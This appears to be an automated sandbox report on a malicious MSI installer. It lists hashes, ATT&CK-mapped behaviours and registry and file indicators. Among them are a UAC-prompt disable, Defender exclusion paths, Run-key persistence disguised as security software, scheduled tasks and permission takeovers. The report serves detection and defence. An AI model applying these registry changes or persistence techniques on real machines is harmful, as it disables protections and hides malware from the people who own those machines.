8c000ba7798834425295861755637cb072749e8b17f893ca528cd9bd30a65afb

Analysis

max time kernel
137s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/07/2026, 02:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_mal004.msi
Size 7.7MB
Sample260731-c8faasvsd1
SHA256 8c000ba7798834425295861755637cb072749e8b17f893ca528cd9bd30a65afb
MD5 40d23c4b1fc07332708318a93e7b11a3
SHA1 f43fe662284ad1cc629559b18310ae8f04b3fd03
SHA512 cf8236f418975b5325d0a60aefa0713619dfe89169eeb0623ea0f9a9f39dc758d05a532ea31b644bd6a7be05d0a66e35cb1eadfd9b5928f9b9aa2c1bb97aa4b1
SSDEEP 196608:yvA8KuUBIeMpGZt46NuHbhypJRWt4zEAYsHCPefrEC:yPKfBIe9y66qJ4CYmzrt
TLSH
T1628633C87CCDA674C1A3C77546C3645E3D387FD277AA8E1BBA5536002D32236277A289
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation ransomware trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	vdsK5r.exe

Windows security bypass 2 TTPs 10 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\tTcpG7 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2060	powershell.exe
5560	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	vdsK5r.exe

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
848	icacls.exe
4508	icacls.exe
2076	icacls.exe
2004	icacls.exe
4332	icacls.exe
5952	icacls.exe
4428	icacls.exe
5468	takeown.exe
4812	icacls.exe
2136	icacls.exe
2960	icacls.exe
1072	icacls.exe
1368	icacls.exe
3424	icacls.exe
4084	icacls.exe
5284	icacls.exe
2220	icacls.exe
1076	icacls.exe
3748	icacls.exe
3680	icacls.exe
2252	icacls.exe
4220	icacls.exe
2568	takeown.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
6064	IHJuVM.exe
3480	vdsK5r.exe
696	vdsK5r.exe
2364	4cB2n3Ff.exe

Loads dropped DLL 5 IoCs

pid	Process
5764	MsiExec.exe
6064	IHJuVM.exe
3480	vdsK5r.exe
696	vdsK5r.exe
2364	4cB2n3Ff.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4332	icacls.exe
1368	icacls.exe
2076	icacls.exe
4428	icacls.exe
4220	icacls.exe
2004	icacls.exe
2568	takeown.exe
3424	icacls.exe
1072	icacls.exe
4084	icacls.exe
5952	icacls.exe
848	icacls.exe
2220	icacls.exe
1076	icacls.exe
2136	icacls.exe
4508	icacls.exe
2252	icacls.exe
5468	takeown.exe
3748	icacls.exe
4812	icacls.exe
2960	icacls.exe
3680	icacls.exe
5284	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\tTcpG7\\IHJuVM.exe\""	IHJuVM.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\PpmMey\\vdsK5r.exe\""	vdsK5r.exe

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	5764	MsiExec.exe
11	5764	MsiExec.exe
12	5764	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
6140	cmd.exe
2968	cmd.exe
2776	cmd.exe
3396	cmd.exe
3968	cmd.exe
2704	cmd.exe
2224	cmd.exe
5528	cmd.exe
4732	cmd.exe
6000	cmd.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	IHJuVM.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\PpmMey\XPSPLOG.dll	IHJuVM.exe
File opened for modification	C:\Program Files (x86)\PpmMey\thumbs.db	IHJuVM.exe
File created	C:\Program Files (x86)\2PEAf9D\thumbs.db	vdsK5r.exe
File created	C:\Program Files (x86)\2PEAf9D\4cB2n3Ff.exe	vdsK5r.exe
File opened for modification	C:\Program Files (x86)\2PEAf9D\XPSPLOG.dll	vdsK5r.exe
File created	C:\Program Files (x86)\PpmMey\thumbs.db	IHJuVM.exe
File opened for modification	C:\Program Files (x86)\2PEAf9D	vdsK5r.exe
File opened for modification	C:\Program Files (x86)\2PEAf9D\thumbs.db	vdsK5r.exe
File opened for modification	C:\Program Files (x86)\PpmMey	IHJuVM.exe
File created	C:\Program Files (x86)\PpmMey\XPSPLOG.dll	IHJuVM.exe
File created	C:\Program Files (x86)\PpmMey\image.png	IHJuVM.exe
File opened for modification	C:\Program Files (x86)\PpmMey\vdsK5r.exe	IHJuVM.exe
File created	C:\Program Files (x86)\2PEAf9D\image.png	vdsK5r.exe
File opened for modification	C:\Program Files (x86)\2PEAf9D\4cB2n3Ff.exe	vdsK5r.exe
File created	C:\Program Files (x86)\PpmMey\vdsK5r.exe	IHJuVM.exe
File opened for modification	C:\Program Files (x86)\PpmMey\image.png	IHJuVM.exe
File opened for modification	C:\Program Files (x86)\2PEAf9D\image.png	vdsK5r.exe
File created	C:\Program Files (x86)\2PEAf9D\XPSPLOG.dll	vdsK5r.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\~DF66C2CF367565093B.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2819C176DAD84F78.TMP	msiexec.exe
File created	C:\Windows\Installer\e58f6cf.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58f6cf.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8719CD29FFD4D811.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFBFF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFCBB.tmp	msiexec.exe
File created	C:\Windows\Installer\e58f6d1.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFC50BAB2564582720.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4CA0D086-AA26-797D-3C5F-028810CDD1E6}	msiexec.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4804	sc.exe
2132	sc.exe
5052	sc.exe
5156	sc.exe
2460	sc.exe
3328	sc.exe
2148	sc.exe
4708	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5428	msiexec.exe

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaveActive = "0"	vdsK5r.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	vdsK5r.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\SCRNSAVE.EXE	vdsK5r.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5376	cmd.exe
4108	cmd.exe
2524	cmd.exe
4512	cmd.exe
3556	cmd.exe
5760	cmd.exe
3520	cmd.exe
1276	cmd.exe
1196	cmd.exe
4436	cmd.exe
3352	cmd.exe
2828	cmd.exe
1904	cmd.exe
1072	cmd.exe
6024	cmd.exe
4520	cmd.exe
3616	cmd.exe
744	cmd.exe
4256	cmd.exe
1964	cmd.exe
2464	cmd.exe
908	cmd.exe
4912	cmd.exe
1640	cmd.exe
3160	cmd.exe
2180	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vdsK5r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vdsK5r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4cB2n3Ff.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000940e18cbc83cc7300000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801940e18cb0000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101940e18cb000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3940e18cb00000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6940e18cb00000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaveActive = "0"	vdsK5r.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	vdsK5r.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	vdsK5r.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3989226554-2204910950-1522900112-1000\Control Panel\Desktop\SCRNSAVE.EXE	vdsK5r.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E\UuueatYAD	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\ProductName = "ENCPP Licensing Dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0\680D0AC462AAD797C3F5208801DC1D6E	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\PackageCode = "DE76FCE7A6113F248A671CD22B5F78ED"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\PackageName = "install_mal004.msi"	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5324	schtasks.exe
3204	schtasks.exe
6024	schtasks.exe
3336	schtasks.exe
5180	schtasks.exe
2024	schtasks.exe
5348	schtasks.exe
2652	schtasks.exe
6008	schtasks.exe
5564	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3444	msiexec.exe
3444	msiexec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
5764	MsiExec.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe
6064	IHJuVM.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found
804	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5428	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5428	msiexec.exe
Token: SeSecurityPrivilege	3444	msiexec.exe
Token: SeCreateTokenPrivilege	5428	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5428	msiexec.exe
Token: SeLockMemoryPrivilege	5428	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5428	msiexec.exe
Token: SeMachineAccountPrivilege	5428	msiexec.exe
Token: SeTcbPrivilege	5428	msiexec.exe
Token: SeSecurityPrivilege	5428	msiexec.exe
Token: SeTakeOwnershipPrivilege	5428	msiexec.exe
Token: SeLoadDriverPrivilege	5428	msiexec.exe
Token: SeSystemProfilePrivilege	5428	msiexec.exe
Token: SeSystemtimePrivilege	5428	msiexec.exe
Token: SeProfSingleProcessPrivilege	5428	msiexec.exe
Token: SeIncBasePriorityPrivilege	5428	msiexec.exe
Token: SeCreatePagefilePrivilege	5428	msiexec.exe
Token: SeCreatePermanentPrivilege	5428	msiexec.exe
Token: SeBackupPrivilege	5428	msiexec.exe
Token: SeRestorePrivilege	5428	msiexec.exe
Token: SeShutdownPrivilege	5428	msiexec.exe
Token: SeDebugPrivilege	5428	msiexec.exe
Token: SeAuditPrivilege	5428	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5428	msiexec.exe
Token: SeChangeNotifyPrivilege	5428	msiexec.exe
Token: SeRemoteShutdownPrivilege	5428	msiexec.exe
Token: SeUndockPrivilege	5428	msiexec.exe
Token: SeSyncAgentPrivilege	5428	msiexec.exe
Token: SeEnableDelegationPrivilege	5428	msiexec.exe
Token: SeManageVolumePrivilege	5428	msiexec.exe
Token: SeImpersonatePrivilege	5428	msiexec.exe
Token: SeCreateGlobalPrivilege	5428	msiexec.exe
Token: SeBackupPrivilege	5008	vssvc.exe
Token: SeRestorePrivilege	5008	vssvc.exe
Token: SeAuditPrivilege	5008	vssvc.exe
Token: SeBackupPrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeTakeOwnershipPrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeTakeOwnershipPrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeTakeOwnershipPrivilege	3444	msiexec.exe
Token: SeBackupPrivilege	6072	srtasks.exe
Token: SeRestorePrivilege	6072	srtasks.exe
Token: SeSecurityPrivilege	6072	srtasks.exe
Token: SeTakeOwnershipPrivilege	6072	srtasks.exe
Token: SeBackupPrivilege	6072	srtasks.exe
Token: SeRestorePrivilege	6072	srtasks.exe
Token: SeSecurityPrivilege	6072	srtasks.exe
Token: SeTakeOwnershipPrivilege	6072	srtasks.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeTakeOwnershipPrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeTakeOwnershipPrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeTakeOwnershipPrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeTakeOwnershipPrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeTakeOwnershipPrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe
Token: SeTakeOwnershipPrivilege	3444	msiexec.exe
Token: SeRestorePrivilege	3444	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5428	msiexec.exe
5428	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
5428	msiexec.exe
3444	msiexec.exe
5764	MsiExec.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 3444 wrote to memory of 6072	3444	msiexec.exe	94
PID 3444 wrote to memory of 5764	3444	msiexec.exe	96
PID 6064 wrote to memory of 5560	6064	IHJuVM.exe	99
PID 6064 wrote to memory of 6140	6064	IHJuVM.exe	100
PID 6140 wrote to memory of 5180	6140	cmd.exe	103
PID 6140 wrote to memory of 5752	6140	cmd.exe	104
PID 6140 wrote to memory of 3540	6140	cmd.exe	106
PID 6064 wrote to memory of 5528	6064	IHJuVM.exe	110
PID 5528 wrote to memory of 2024	5528	cmd.exe	113
PID 5528 wrote to memory of 1676	5528	cmd.exe	114
